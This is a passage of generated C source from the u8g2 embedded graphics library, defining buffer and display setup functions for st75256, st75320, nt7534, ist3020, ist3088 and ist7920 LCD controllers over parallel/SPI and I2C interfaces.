u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_i2c_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_i2c_jlx240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_i2c_jlx240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_i2c_jlx240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx240160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_i2c_jlx25664_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_i2c_jlx25664_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_i2c_jlx25664_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx25664, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_i2c_jlx172104_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_13_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_i2c_jlx172104_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_13_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_i2c_jlx172104_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx172104, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_22_13_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_i2c_jlx19296_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_i2c_jlx19296_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_i2c_jlx19296_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx19296, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_i2c_jlx16080_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_i2c_jlx16080_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_i2c_jlx16080_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx16080, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_10_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75320 */\n/* st75320 1 */\nvoid u8g2_Setup_st75320_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75320 2 */\nvoid u8g2_Setup_st75320_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75320 f */\nvoid u8g2_Setup_st75320_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75320 */\n/* st75320 1 */\nvoid u8g2_Setup_st75320_i2c_jlx320240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75320 2 */\nvoid u8g2_Setup_st75320_i2c_jlx320240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75320 f */\nvoid u8g2_Setup_st75320_i2c_jlx320240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75320_jlx320240, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* nt7534 */\n/* nt7534 1 */\nvoid u8g2_Setup_nt7534_tg12864r_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_nt7534_tg12864r, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* nt7534 2 */\nvoid u8g2_Setup_nt7534_tg12864r_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_nt7534_tg12864r, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* nt7534 f */\nvoid u8g2_Setup_nt7534_tg12864r_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_nt7534_tg12864r, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ist3020 */\n/* ist3020 1 */\nvoid u8g2_Setup_ist3020_erc19264_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist3020_erc19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ist3020 2 */\nvoid u8g2_Setup_ist3020_erc19264_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist3020_erc19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ist3020 f */\nvoid u8g2_Setup_ist3020_erc19264_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist3020_erc19264, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_24_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ist3088 */\n/* ist3088 1 */\nvoid u8g2_Setup_ist3088_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist3088_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ist3088 2 */\nvoid u8g2_Setup_ist3088_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist3088_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ist3088 f */\nvoid u8g2_Setup_ist3088_320x240_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist3088_320x240, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_40_30_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* ist7920 */\n/* ist7920 1 */\nvoid u8g2_Setup_ist7920_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist7920_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ist7920 2 */\nvoid u8g2_Setup_ist7920_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_ist7920_128x128, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* ist7920 f */\nvoid u8g2_Setup_ist7920_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  